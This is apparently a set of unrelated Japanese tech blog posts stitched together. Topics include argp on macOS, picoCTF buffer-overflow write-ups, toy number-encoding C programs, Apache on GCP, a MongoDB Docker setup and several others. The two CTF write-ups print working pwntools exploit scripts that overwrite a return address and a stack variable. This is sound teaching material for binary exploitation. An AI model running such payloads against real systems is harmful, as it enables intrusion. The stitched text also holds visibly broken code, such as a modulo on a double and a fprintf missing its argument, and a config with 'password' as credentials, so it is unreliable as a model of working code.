## 解決策

実は、homebrewでインストールすることができる。

```sh
brew install argp-standalone
```

インストールしたら、ファイルを確認してみよう。

```sh
brew ls argp-standalone
```

```
/opt/homebrew/Cellar/argp-standalone/1.3/include/argp.h
/opt/homebrew/Cellar/argp-standalone/1.3/lib/libargp.a
/opt/homebrew/Cellar/argp-standalone/1.3/sbom.spdx.json
```

特に `.pc` ファイルなどはないので、`pkg-config` などは使う事ができない。
そこで、直接パスを指定する。

```sh
cc hoge.c \
  -largp \
  -L /opt/homebrew/Cellar/argp-standalone/1.3/lib/ \
  -I /opt/homebrew/Cellar/argp-standalone/1.3/include/ \
  -o hoge
```

上記のコマンドが実際に動作することを確認するために、ChatGPTに `argp.h` を利用した簡単なコードを書いてもらって実際にコンパイルできることを確かめた。この記事は以上です。

```c
#include <stdio.h>
#include <argp.h>

static struct argp_option options[] = {
    {"name", 'n', "NAME", 0, "Name to display"},
    {0}
};

struct arguments {
    char *name;
};

static error_t parse_opt(int key, char *arg, struct argp_state *state) {
    struct arguments *arguments = state->input;
    switch (key) {
        case 'n':
            arguments->name = arg;
            break;
        default:
            return ARGP_ERR_UNKNOWN;
    }
    return 0;
}

static struct argp argp = {options, parse_opt, 0, 0};

int main(int argc, char **argv) {
    struct arguments arguments;
    arguments.name = "";
    argp_parse(&argp, argc, argv, 0, 0, &arguments);
    printf("Name: %s\n", arguments.name);
    return 0;
}
```
Microsoft Planner でタスクのメモ欄に文字入力する際のショートカットキー

# Planner でタスクのメモ欄に文字入力する際のショートカットキー

メモ欄の入力の際に使えるフォントの加工です。

## 太字

対象の文字列の範囲を指定して [Ctrl] + [B] キーを押す。
もう一度、押すと解除される。

## 斜体

対象の文字列の範囲を指定して [Ctrl] + [I] キーを押す。
もう一度、押すと解除される。

## 下線

対象の文字列の範囲を指定して [Ctrl] + [U] キーを押す。
もう一度、押すと解除される。

## フォントサイズを大きく

対象の文字列の範囲を指定して [Ctrl]キー + [>] ([Shift] + [.] キー) を押す。

## フォントサイズを小さく

対象の文字列の範囲を指定して [Ctrl]キー + [<] ([Shift] + [,] キー) を押す。

## 箇条書き

対象の文字列の範囲を指定して [Ctrl] + [/] キーを押す。もう一度、押すと解除される。
また、ショートカットキーではありませんが、
"-"(ハイフン) の後に " "(半角スペース) を続けて入力すると箇条書きになります。

# 一覧

| No.  | 効果                   | ショートカットキー               |
| ---- | ---------------------- | -------------------------------- |
| 1    | 太字                   | [Ctrl] + [B]                     |
| 2    | 斜体                   | [Ctrl] + [I]                     |
| 3    | 下線                   | [Ctrl] + [U]                     |
| 4    | フォントサイズを大きく | [Ctrl] + [>] ([Shift] + [.])     |
| 5    | フォントサイズを小さく | [Ctrl] + [<] ([Shift] + [,])     |
| 6    | 箇条書き               | [Ctrl] + [/]                     |
picoCTF 2022 writeup buffer overflow 2

## buffer overflow 2 (Binary Exploitation)

Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program? You can view source here. And connect with it using nc saturn.picoctf.net 60902

配布ファイル
・vuln
・vuln.c

とりあえず`nc saturn.picoctf.net 60902`を実行してみる。
```
> nc saturn.picoctf.net 60902
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
入力した文字がそのまま出てくるようだ。ソースコードを見てみる。
```c
void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}
```
`BUFSIZE=100`でbufをそのまま出力している。
```c
void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}
```
flagが出てきそうなwin関数がある。`arg1==0xCAFEF00D`かつ`arg2==0xF00DF00D`である必要がありそうだ。win関数のアドレス値は`64: 08049296   162 FUNC    GLOBAL DEFAULT   15 win`より、0x08049296である。`何らかの文字列100+12文字+0x08049296+リターンアドレス+arg1+arg2`のような入力になるはず。

以下、実行コード。
```python
from pwn import *

p = remote("saturn.picoctf.net", 60902)

payload = b"a"*112
payload += p32(0x08049296)
payload += p32(0x08049372) # ここは何でも良い
payload += p32(0xCAFEF00D) + p32(0xF00DF00D)

p.sendline(payload)

p.interactive()
```
フラグが得られた。
`picoCTF{argum3nt5_4_d4yZ_27ecbf40}`
for peace 簡単で小さい文字列暗号化と復号。


英字小文字で入力された文字列を、doubleの範囲で数値暗号化し、復号をします。

このプログラムは、数値暗号化です。`helloencode string`として、stringにはスペースや句読点を含まない英字小文字の文字列を指定して下さい。
コンパイルは、`cc helloencode.c -o helloencode`として下さい。

```helloencode.c
#include    <stdio.h>
#include    <string.h>
#include    <ctype.h>
#include    <stdlib.h>
void main(int argc,char *argv[]) {
    if (argc!=2) {
        fprintf(stderr,"Usage: helloencode string\n");
        exit(-1);
    }
    double  d=0;
    int c;
    for(int i=strlen(argv[1]);i!=-1;i--) {
        c=argv[1][i];
        if (c<'a'||c>'z')
            continue;
        d=d*27+c-'a'+1;
    }
    printf("%lf\n",d);
}




```

このプログラムはforpeaceという文字列を出力します。
コンパイルは、`cc forpeace.c -o forpeace -lm`として下さい。

```forpeace.c
#include  <stdio.h>
#include  <math.h>
int main() {
  for (double m=53481362055;(int)m;m/=27)
   putchar(fmod(m,27)+'a'-1);
  putchar('\n');
}

```
このコードは、helloworldという文字列を出力します。
コンパイルは、`cc hello.c -o hello -lm`として下さい。
```hello.c
#include  <stdio.h>
#include  <math.h>
int main() {
  for (double m=34085980284272;(int)m;m/=27)
   putchar(fmod(m,27)+'a'-1);
  putchar('\n');
}

```
このコードは、数値から文字列に復号します。
`cc hellodecode.c -o hellodecode -lm`としてコンパイルして下さい。

```hellodecode.c
#include  <stdio.h>
#include  <math.h>
#include  <stdlib.h>
int main(int argc,char *argv[]) {
  double t;
  if (argc!=2) {
	  fprintf(stderr,"%lf");
  }
  sscanf(argv[1],"%lf",&t);

  for (double m=t;(int)m;m/=27)
   putchar(m%27+'a'-1);
  putchar('\n');
}
```
27で回しているのは、余りが1つ必要だからです。

おまけ：answer for spinning wheel
```answer.py
#!/usr/bin/python3
def answer(n):
    return "The answer is 1."

if __name__=="__main__":
    print(answer(3))
    exit(0)
```
picoGym Exclusive writeup Local Target

## Local Target (Binary Exploitation)

Smash the stack Can you overflow the buffer and modify the other local variable? The program is available here. You can view source here. And connect with it using: nc saturn.picoctf.net 60800

添付ファイル
・local-target.c
・local-target

とりあえず、`nc saturn.picoctf.net 60800`を実行してみる。
```
> nc saturn.picoctf.net 60800
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

num is 1633771873
Bye!
```
1633771873=0x61616161なので、aが4文字分出力されている。
ソースコードを見てみる。
```c
if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }
```
出力される数字が65であれば良いようだ。
```c
int num = 64;
```
とあり、逆アセンブルの結果、このnumは
```
0x0000000000401242 <+12>:    mov    DWORD PTR [rbp-0x8],0x40
```
rbp-0x8にあるようだ。バッファオーバーフローさせてrbp-0x8を65=0x41に書き換える。
main+68にブレイクポイントを設定してバッファオーバーフローさせたときのrbpを見てみる。
```
(gdb) break *main+68
Breakpoint 1 at 0x40127a
(gdb) r
Starting program: /home/colza-picoctf/local-target 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x000000000040127a in main ()
(gdb) x/100bx $rbp-0x8
0x7fff61eb63e8: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fff61eb63f0: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fff61eb63f8: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fff61eb6400: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fff61eb6408: 0x00    0x12    0x40    0x00    0x00    0x00    0x00    0x00
```
aが32文字分ある。56文字入力したので`24文字+65`を入力すれば良さそう。
以下、実行コード。
```python
from pwn import *

p = remote("saturn.picoctf.net", 60800)

payload = b"a"*24
payload += p64(0x00000041)

p.sendline(payload)

p.interactive()
```
実行してみる。
```
Enter a string: 
num is 65
You win!
picoCTF{l0c4l5_1n_5c0p3_ee58441a}
```
フラグが得られた。

`picoCTF{l0c4l5_1n_5c0p3_ee58441a}`
GCP の VM で Web サーバー立てた (VM作成からVirtualHost立てるまで)

備忘録。

# 1. Google Cloud Compute Engine の VM インスタンス作成
[こちらの記事](https://zenn.dev/taksas/articles/1f8e0f3676628d#vm%E3%82%A4%E3%83%B3%E3%82%B9%E3%82%BF%E3%83%B3%E3%82%B9%E3%81%AE%E4%BD%9C%E6%88%90)を参考に、無料枠を使っていく。

気をつけたこと:
- Boot disk を危うく New balanced persistent disk のままにするところだった。危ない。Standard persistent disk に変更。
- 途中でグローバル IP アドレスを作成することも忘れずに。
Advanced Option > Networking > Network interfaces > Alias IP ranges > External IPv4 address を Ephemeral から Reserve static external IP address を選択。
- 今回 Ubuntu に慣れたかったので Ubuntu を選択。

# 2. Apache サーバーを立てる
[公式ガイド](https://cloud.google.com/compute/docs/tutorials/basic-webserver-apache?hl=ja)を見ながら進める。

1. VM インスタンスのページから `ssh` ボタンをクリック。Authorize する。いちいちパスワードとか要らないしめっちゃ便利。
2. Apache をインストール。
```sudo apt update && sudo apt -y install apache2```
2. Apache のステータス確認。 
```sudo systemctl status apache2```
ちゃんと `   Active: active (running) `であることを確認。
2. とりまデフォルトのページを書き換える。
```echo '<!doctype html><html><body><h1>Hello World!</h1></body></html>' | sudo tee /var/www/html/index.html```
5. VM インスタンス一覧の External IP Address をクリックして Hello world が表示されていることを確認。
普通に IP アドレスのリンクをクリックしちゃうと HTTPS 通信で表示されないので、ちゃんと http:// に直すこと。

このときなにげにめんどかったのがいちいち sudo しないとファイルが変えられないこと。
`sudo chown -R $USER:$USER /var/www` とかしておくと便利。

 # 3. DNS サーバーに IP アドレスと URL のマッチングを設定
1. 今回ドメインを Squarespace で取得していたので Squarespace の管理画面へ。
Account dashboard > Domains タブ > 該当ドメインをクリック > DNS Settings > Custom records の [Add Record] ボタンをクリック。
2. host = @, Type = A, Data = VM インスタンスの External IP address をコピペ。
2. しばらく経ってからドメインを URL にいれて先程の Hello World が表示されていることを確認。ここも普通に打ったら HTTPS になっちゃうので注意。

# 4. VirtualHost でサブドメイン作成
[前回](https://qiita.com/espresso_sos/items/aa48bf9f28375ae8ecc1)が MacOS 、今回は Ubuntu だったので結構 Config 系のファイル名とかが違った。
[こちらの記事](https://qiita.com/i-tanaka730/items/3f28150eb1b3b7f8183c)を参考に Config してく。

### Step 1
どうやら Ubuntu では config 系のファイルが /etc/apache2/sites-available というパスに入ってるっぽい。 `cd /etc/apache2/sites-available` する。
### Step 2
Config ファイルをコピーする。 `cp 000-default.conf xxx.com.conf`
### Step 3
`nano xxx.com.conf`して以下の文言を足す / 編集する。
```
<VirtualHost *:80>
  ServerName hoge-blog.com
  DocumentRoot /var/www/root/
</VirtualHost>
```
### Step 4
同じ用に、サブドメイン用の conf を作って VirtualHost 設定を Config する。
```
$ cp 000-default.conf test.xxx.com.conf
$ nano test.xxx.com.conf
----
<VirtualHost *:80>
  ServerName hoge-blog.com
  DocumentRoot /var/www/test/
</VirtualHost>
----
```

### Step 5
適当な index.html を /var/www/root/ と /var/www/test/ に作成する。まずディレクトリを作って、そこにファイルいれる。
```
$ cd /var/www/
$ mkdir root test
$ cd root && nano index.html
----
<h1>Hello root!</h1>
----

$ cd ../test && nano index.html
----
<h1>Hello test!</h1>
----
```

### Step 6
Ubuntu には、apache 設定ファイルを一気に有効に指せる `a2ensite` というコマンドがあるらしい。
詳しくは[こちらの記事](https://qiita.com/diconran/items/1eca0e0792f4ce1930c5)を参照。

```
$ cd /etc/apache2/sites-available
$ a2ensite xxx.com.conf
$ a2ensite test.xxx.com.conf
```

### Step 7
最後に apache2 をリスタートして動作確認。
```
systemctl restart apache2
```

ブラウザに URL を入れて、動くことを確認っ！
Docker Composeを使ったMongoDBとMongo Expressのセットアップ

MongoDBをDockerで構築したときに苦戦したので、とりあえずうまくいった内容をメモ代わりに残す
今回は以下の理由により、事前ネットワークを準備し、externalネットワークとして設定している
- 複数のdocker composeを使いたい
- またそれらのコンテナ間で通信をしたい

事前にネットワーク作成
```shell
docker network create my_network
```


```yml
version: "3.1"

services:
  mongodb:
    image: mongo
    container_name: mongodb
    restart: always
    ports:
      - 27017:27017
    volumes:
      - mongoDataStore:/data/db
      - ./configdb:/data/configdb

    environment:
      MONGO_INITDB_ROOT_USERNAME: ${MONGODB_USERNAME}
      MONGO_INITDB_ROOT_PASSWORD: ${MONGODB_PASSWORD}
    networks:
      - my_network

  mongo-express:
    image: mongo-express
    container_name: mongo-express
    restart: always
    ports:
      - 7543:8081
    environment:
      ME_CONFIG_MONGODB_ADMINUSERNAME: ${MONGODB_USERNAME}
      ME_CONFIG_MONGODB_ADMINPASSWORD: ${MONGODB_PASSWORD}
      ME_CONFIG_MONGODB_URL: mongodb://${MONGODB_USERNAME}:${MONGODB_PASSWORD}@mongodb:27017/
      ME_CONFIG_BASICAUTH_USERNAME: ${EXPRESS_USERNAME}
      ME_CONFIG_BASICAUTH_PASSWORD: ${EXPRESS_PASSWORD}
    networks:
      - my_network
    depends_on:
      - mongodb

volumes:
  mongoDataStore:
    driver: local

networks:
  my_network:
    external: true
```
- 8081ポートがセキュリティソフトのTrellixと競合していたためportを変更している
- ネットの記事では`depends_on`を設定するだけでコンテナ間通信ができると書いてあったが、私の環境ではうまくいかなかったため`ME_CONFIG_`の値を色々書いている


環境変数はcomposeと同階層の.envに記載
```.env
MONGODB_USERNAME = root
MONGODB_PASSWORD = password
EXPRESS_USERNAME = admin
EXPRESS_PASSWORD = password
```
環境変数にどのような値が入って実行されるかは、`config`コマンドで確認できる
```shell
docker compose config
```

実行
```shell
dokcer compose up
```
技術系ポッドキャストのすすめ

皆さんは普段どのように技術キャッチアップを行なっているでしょうか？
自分は子供が3人いるため、なかなか時間が取れないです。家事、育児をしている間にも学習できる方法として、最近耳だけで聞けるポッドキャストにハマっています。ここでは、特におすすめのポッドキャスト番組を紹介します。
なお、番組のリンクはすべてSpotifyですが特に特定のプラットフォームを推しているわけではありません。

## ポッドキャストとは？

ポッドキャストは、インターネット上で配信される音声コンテンツのことです。ラジオ番組のようにエピソードが配信され、リスナーは好きな時に好きな場所で聴くことができます。スマートフォンやタブレット、PCで手軽に利用でき、さまざまなテーマやトピックに関する番組が豊富に揃っています。

## おすすめの技術系ポッドキャスト番組

### ひまじんプログラマーの週末エンジニアリングレッスン

- [ひまじんプログラマーの週末エンジニアリングレッスン](https://open.spotify.com/show/2uv9mONog0nr9q5YJJsvIt?si=46d769a58f754314)

> 駆け出しエンジニアに対するメンタリングを盗み聞き！というコンセプトで、世のエンジニアが中級エンジニアに成長できるPodcastです！ 

かいちさん、のりさん、じゅんぺいさんの三人のエンジニアでお話しされているポッドキャストです。
駆け出しエンジニア向けかと思いきや、割と深い内容だったりライフハック系の話題だったり…
のりさんじゅんぺいさんのボケとかいちさんのツッコミの掛け合いがコミカルで面白おかしく技術について学べます。

**個人的おすすめのエピソード**

Kubernetesの概要をビュッフェに例えて分かりやすく説明してくれています。

- [専門用語をほぼ使わない、Kubernetes超入門！【ビュッフェ会】](https://open.spotify.com/episode/4gZLt8z2DOP8F9ih2m2AmM?si=byfo6_AiQs2letFSOoO2qA)

### ManaのWebクリエイターカフェ

- [ManaのWebクリエイターカフェ](https://open.spotify.com/show/5Cy5DWv7MlbvISaaxWkwsZ?si=97df927ae390419e)

> Webエンジニア・デザイナーが、Webコンテンツ・アプリを制作する際に、つまづく点やその時の解決方法などを深堀していく番組です。テクニック的なところに限らず、チームワークや仕事のお作法の他、サービス制作におけるビジネス的な観点も取り入れて。ゲストを招いたりしながらカフェのような雰囲気でトークしています。

Webクリエイターボックス運営のManaさんが配信しているポッドキャストです。
全体的に柔らかい雰囲気でお話しされています。

### fukabori.fm

- [fukabori.fm](https://open.spotify.com/show/2gEI6bMbrBhXnpi6AVs8qp?si=e83b58245466458f)

> 技術・組織・マネジメントなどを深掘りして楽しむPodcastです。

NTTコミュニケーションズ株式会社 エバンジェリストのiwashiさんが配信しているポッドキャストです。
とても内容が濃く、為になります。

**個人的おすすめのエピソード**

世界一流エンジニアの思考法　著者の牛尾さんとお話しされています。
Azureの裏側を覗き見したい方は是非聞いてみてください！

- [108.Azure Functionチームでの開発方法やマネージャーの役割 w/sandayuu](https://open.spotify.com/episode/6vGPr5ldjmNBof9MaURTYi?si=pHC-FZu3Rm2kkZ0psHF1kw)

### Qiita FM-エンジニアのキャリアを深掘り-

- [Qiita FM-エンジニアのキャリアを深掘り-](https://open.spotify.com/show/4E7yCLeCLeQUsNqM4HXFXA?si=aea25b7dfb844c99)


> 『Qiita FM』では日本で活躍するエンジニアをゲストに迎え、
キャリアやモチベーションの話を深堀りしながら、
エンジニアの皆さんに役立つ話題を発信していきます。
ゲストのエンジニアの方への質問募集中！

ご存じQiitaの中の人が運営しているポッドキャストです。


**個人的おすすめのエピソード**

体系的に学ぶ 安全なWebアプリケーションの作り方という本の著者でWebセキュリティの第一人者である徳丸浩さんをゲストに迎えお話しされています。

[♯33Webセキュリティの第一人者の素顔](https://open.spotify.com/episode/13h5V4kTAv2mMoHf3VryW5?si=GYlx_zA7Q8CsxXFPfHG7tQ)

## おわりに

紹介しきれないですがまだまだたくさんの面白いポッドキャストがあります！
是非色々検索してみて自分に合ったポッドキャストを見つけてみてください！

## 参考URL

- [【保存版】Tech系Podcast17選 人気番組ランキング まとめ](https://tech-blog.rakus.co.jp/entry/20210917/podcast)
- [好きな技術系ポッドキャストまとめ](https://zenn.dev/ryo_kawamata/articles/my-favorite-podcast)
[IBMCloud] IKS/ROKS WorkerPoolとClusterSecret暗号化の確認

## 目的
IKS(Kubernetes)やROKS(OpenShift)をオーダした後、暗号化してたっけ？
となった場合の確認方法について各パターン毎にどのように見えるのか確認しました。

[クラスター・シークレット](https://cloud.ibm.com/docs/containers?topic=containers-encryption#cluster-secret-encryption)

[VPC クラスターのワーカー・ノードのディスク暗号化のセットアップ](https://cloud.ibm.com/docs/containers?topic=containers-encryption-vpc-worker-disks)


**確認コマンド**
ClusterSecretの暗号化状態を確認
```
ibmcloud ks cluster get --cluster <ClusterID>
```

WorkerPoolの暗号化状態を確認
```
ibmcloud oc worker-pool get --cluster <ClusterID> --worker-pool <WorkerPool Name>
```

## ClusterSecretを暗号化している場合
Key Protectの部分が有効化(Enable)となっている場合、Clusterでの暗号化が有効になっている
```
% ibmcloud ks cluster get --cluster cq29stct0hgp9gqexxxx
クラスター cq29stct0hgp9gqe8hsg を取得中...
OK

名前:                                         acs-paas-oc-cluster3-jp-tok
ID:                                           cq29stct0hgp9gqexxxx
状態:                                         normal
状況:                                         All Workers Normal
Key Protect:                                  有効化
```

## ClusterSecretを<font color="red">暗号化していない</font>場合
Key Protectが表示されないため、暗号化されていないことがわかる
```
% ibmcloud ks cluster get --cluster cqg52jqt0dcf9i41xxxx
クラスター cqg52jqt0dcf9i41xxxx を取得中...
OK

名前:                                         mycluster-jp-tok-3-bx2.4x16x
ID:                                           cqg52jqt0dcf9i41xxxx
状態:                                         normal
状況:                                         All Workers Normal 

```

## WorkerPoolを暗号化している場合
KMS(Key Management Service）とCRK(Customer Root Key)が表示され
WorkerPoolが暗号化されていることがわかる
```
% ibmcloud oc worker-pool get --cluster cq29stct0hgp9gqexxxx --worker-pool lowspec-worker-oc2
ワーカー・プール lowspec-worker-oc2 をクラスター cq29stct0hgp9gqexxxx から取得中...
OK

名前:                         lowspec-worker-oc2
ID:                           cq29stct0hgp9gqexxxx-823518f
状態:                         active
ハードウェア:                 shared
オペレーティング・システム:   REDHAT_8_64
VPC:                          r022-8e9b2170-851b-45e5-918c-5796921c55c4
フレーバー:                   bx2.4x16
KMS:                          90d5699c-882e-4b00-a6bd-7ba00c9f6914
CRK:                          2fdf160b-401e-4a11-b28c-a0e3438fa6e3
ラベル:                       ibm-cloud.kubernetes.io/worker-pool-id=cq29stct0hgp9gqexxxx-823518f
ゾーンあたりのワーカー:       1
ワーカー合計:                 2
```

## WorkerPoolを<font color="red">暗号化していない</font>場合
KMSとCRKも表示されず暗号化されていないことがわかる
```
% ibmcloud oc worker-pool get --cluster cqfmgsat0997b42pxxxx --worker-pool worker
ワーカー・プール worker をクラスター cqfmgsat0997b42pxxxx から取得中...
OK

名前:                         worker
ID:                           cqfmgsat0997b42pxxxx-b25997d
状態:                         active
ハードウェア:                 shared
オペレーティング・システム:   REDHAT_8_64
VPC:                          r022-8e9b2170-851b-45e5-918c-5796921c55c4
フレーバー:                   bx2.4x16
ラベル:                       ibm-cloud.kubernetes.io/worker-pool-id=cqfmgsat0997b42pxxxx-b25997d
ゾーンあたりのワーカー:       2
ワーカー合計:                 2

ゾーン
ゾーン     ワーカー   サブネット
jp-tok-3   2          02g7-c931fc19-1177-458d-9dda-0b8b46634222
```
即時関数でconstにあらゆる値を格納できるしthenメソッドチェーンも使えることにJavaScript初心者が気付いたのでサンプルを作ってみた

## Q.そもそもどんな書き方なの？
A.例えばこんな感じで書けます。

~~~JavaScript:sample.js
const a = (() => {
  function1(handle1)
    .then(x => functionSuccessful(x))
    .catch(() => {
      function2(handle2)
        .then(y => functionSuccessful(y))
        .catch(e => functionError(e))
    })
})();
~~~

即時関数の中なのでもちろんtry...catch構文も使えます。

~~~JavaScript:sample.js
const a = (() => {
    try { 
        return x;
    } catch {
        return y;
    }
})();
~~~

try...catch構文のほうは見たまんまなので、まぁそのままの動きしかしないのですが、上の方は少し悪さができそうです。

## サンプル:リアカメラとフロントカメラを存在の有無によって切り替えるコード
JavaScriptでデバイスのカメラを起動するとき、まずリアカメラの有無を確認して、起動に失敗したときデバイスのデフォルトのカメラを起動するコードです。QRコード読み取りなどに使えますね。

~~~JavaScript:sample.js
const video = document.getElementById('video');
const media = (() => {
    navigator.mediaDevices.getUserMedia({
        video: {facingMode: {exact:'environment'}}})
    .then(camerastream => cameraPlay(camerastream))
    .catch(() => {
        navigator.mediaDevices.getUserMedia({
            video: true})
            .then(camerastream => cameraPlay(camerastream))
            .catch(() => {
                alert('media device is not found.')
        })();
    })();
})();

function cameraPlay(camerastream) {
    video.srcObject = camerastream;
    video.onloadeddata = () => {
        video.play();
    };
}
~~~

このように、まずは代入できるかわからない値を入れてみて、ダメだったら次の代入できるかわからない値を入れてみて、最終的にデフォルトの処理を行うという流れを行うときに便利だと思います。
ISSUEというものについて調べてみた

## はじめに
アプリ開発に初めて挑戦しているわーちゃんです。開発の手順が全く分からないところからスタートしているので、正直「？？？？」が多すぎます💦
今回はISSUEというものについて調べたことをアウトプットしたいと思います。

## ISSUEとは
ISSUE（イシュー）とは、プロジェクト管理やバグトラッキングシステムで使われるタスクや問題のことで、GitHubやJIRAなどで一般的に使用されています。
以下のような項目がISSUEとして挙げられます
- バグ報告
- 新機能の提案
- 改善提案
- ドキュメントの修正依頼
- その他のタスクや質問

<details>
<summary>なぜissue？</summary>

同じ「問題」という英語に`problem`があるのは皆さんご存じだと思います。この2つの違いについて少し解説。

|  | 意味 | 例 |
| - | - | - |
| ISSUE | ・広義の問題や課題を指し、解決するべき事象や議論の対象、議題となることが多い。<br>・中立的な意味合いを持ち、必ずしもネガティブな問題だけでなく、改善点や新しい提案も含まれる。 | プロジェクトにおけるタスク管理や新機能の提案、バグ修正など。 |
| Problem | ・より具体的な問題や困難を指し、通常はネガティブな意味合いを持つ。<br>・解決が必要な障害や困難な状況に焦点を当てている。 | アプリケーションのクラッシュ、セキュリティホールなどの緊急対応が必要な問題。 |

ラテン語由来で「問題」や「課題」を意味する`ISSUE`という用語を使用することで包括的かつ中立的にタスクや課題を管理でき、プロジェクト管理における効果的なコミュニケーションが促進されます。

</details>

## ISSUE、エンジニアにとっての重要性
プロジェクト管理とチームコラボレーションの重要なツールである`ISSUE`。なぜ重要なのかについて主に4つの理由が挙げられます
- **タスク管理**：各タスクや問題点を一元管理できるため、作業の抜け漏れを防ぎます
- **優先順位の設定**：どのISSUEが優先されるべきかを明確にできます
- **チームコラボレーション**：チームメンバー間でのコミュニケーションや協力がスムーズになります
- **進捗の可視化**：プロジェクトの進捗状況をリアルタイムで確認できます

## ストーリーポイントとISSUEの関係
「ストーリーポイント」。はじめこの用語を見た時はどのような意味かさっぱり分かりませんでした。単純に訳せば「話の重要点」？
実際は**ISSUEの難易度や必要な作業量を評価するための尺度**の事になります

ISSUEとセットで使用する理由は以下の通りです
- **見積もり**：作業の見積もりがしやすくなり、計画的な開発が可能になります
- **リソース管理**：チームの作業負荷を均等に分配できます
- **進捗管理**：ストーリーポイントを使用することで、進捗状況を定量的に把握できます

### そのほかの手法について
- 時間ベースの見積もり：具体的な時間（例えば、時間や日数）でタスクを見積もる方法
- T-shirt sizing：タスクを小、中、大のようなTシャツサイズで見積もる方法

https://asana.com/ja/resources/t-shirt-sizing


## さいごに
ISSUEというものについて今回調べてみました。要は事前の準備。計画表。経験上100％その通りに行くとは限りませんが、ある程度の道筋を決めておくのはたしかに大切なことだよな、、と思っています。
経験値が上がれば、誰が見ても理解できるものが完成するんだろうな。
はじめてだから、これ位。ではなく、多少背伸びして頑張ります！
[joke] 簡単な暗号化プログラム。crypt.c decrypt.c by T.Maekawa and J.Hamada

簡単な暗号化プログラムです。

使い方：
```
cc crypt.c -o crypt
cc decrypt.c -o decrypt
```
としてコンパイルし、
```
crypt file.org file.out
```
として暗号化し、
```
decrypt file.out file.org
```
として復号化して下さい。
decryptを掛けると、cryptで暗号化したファイルは、全て同様に元に戻ります。復号キーはありません。

```crypt.c
#include    <stdio.h>
#include    <stdlib.h>
void main(int argc,char *argv[]) {
    if (argc!=3) {
        fprintf(stderr,"Usage: crypt file.in file.out\n");
        exit(-1);
    }
    FILE *ifp=fopen(argv[1],"rb");
    if (ifp==NULL) {
        fprintf(stderr,"File open error\n");
        exit(-1);
    }
    FILE *ofp=fopen(argv[2],"wb");
    if (ofp==NULL) {
        fprintf(stderr,"Output file open error\n");
        exit(-1);
    }
    int c;
    int bn=0x55;
    while(1) {
        c=fgetc(ifp);
        if (c==EOF)
            break;
        bn=bn^c;
        fputc(bn,ofp);
    }
}
// b1=a1^0x55 b2=a2^a1^0x55 b3=a3^a2^a1^0x55 ...
// c1=b1^0x55 c2=b1^b2 c3=b3^b2 ...
```

```decrypt.c
#include    <stdio.h>
#include    <stdlib.h>
void main(int argc,char *argv[]) {
    if (argc!=3) {
        fprintf(stderr,"Usage: crypt file\n");
        exit(-1);
    }
    FILE *ifp=fopen(argv[1],"rb");
    if (ifp==NULL) {
        fprintf(stderr,"File open error\n");
        exit(-1);
    }
    FILE *ofp=fopen(argv[2],"wb");
    if (ofp==NULL) {
        fprintf(stderr,"Output file open error\n");
        exit(-1);
    }
    int bn=0x55;
    int s;
    int cn;
    while(1) {
        s=bn;
        bn=fgetc(ifp);
        if (bn==EOF)
            break;
        cn=s^bn;
        fputc(cn,ofp);
    }
}
// b1=a1^0x55 b2=a2^a1^0x55 b3=a3^a2^a1^0x55 ...
// c1=b1^0x55 c2=b1^b2 c3=b3^b2 ...

```
実行例
```
gar@vaio:~/org/etc/crypt$ cat birth
hello world.
gar@vaio:~/org/etc/crypt$ crypt birth yet
gar@vaio:~/org/etc/crypt$ cat yet
=X4X7`}u[Qgar@vaio:~/org/etc/crypt$ decrypt yet birth2
gar@vaio:~/org/etc/crypt$ cat birth2
hello world.
gar@vaio:~/org/etc/crypt$ 
```
webdriver_manager を利用して webdriver を取得しようとすると OSError が発生する現象の回避策

# OSError が発生するようになった

webdriver_manager のバージョン 4.0.1、chrome のバージョン 127.0.6533.72 現在で以下のコードが OSError を吐くようになった。

:::note info
追記：バージョン 4.0.2 で対応されました
:::

```python
chrome_service = Service(executable_path=ChromeDriverManager().install())
driver = webdriver.Chrome(service=chrome_service, options=options)
```

> OSError: [WinError 193] %1 is not a valid Win32 application

chromedriver のバージョン 127.0.6533.72 には

- chromedriver.exe
- LICENSE.chromedriver
- THIRD_PARTY_NOTICES.chromedriver

の 3 ファイルが含まれており、[実行可能ファイルを探す際に LISENCE は無視しているが THIRD_PARTY_NOTICES は無視されない](https://github.com/SergeyPirogov/webdriver_manager/blob/v4.0.1/webdriver_manager/core/driver_cache.py#L61) ことにより、chromedriver.exe ではなく THIRD_PARTY_NOTICES.chromedriver が返されてしまうことが原因らしい。

# 回避策

webdriver_manager のバージョンアップで対応されると思われるが、それまでは下記のように直接 .exe を指定することで回避することにした。

```python
webdriver_path = ChromeDriverManager().install()
if os.path.splitext(webdriver_path)[1] != '.exe':
    webdriver_dir_path = os.path.dirname(webdriver_path)
    webdriver_path = os.path.join(webdriver_dir_path, 'chromedriver.exe')
chrome_service = Service(executable_path=webdriver_path)
driver = webdriver.Chrome(service=chrome_service, options=options)
```

# 2024/08/01 追記

バージョン 4.0.2 が 2024/07/25 にリリースされて修正された。
ただ、修正内容としてはバイナリを取得する際に LICENSE のほかに THIRD_PARTY_NOTICES も対象外とするというものなので今後おなじように何かファイルが追加されれば同じ現象が再発しそう。

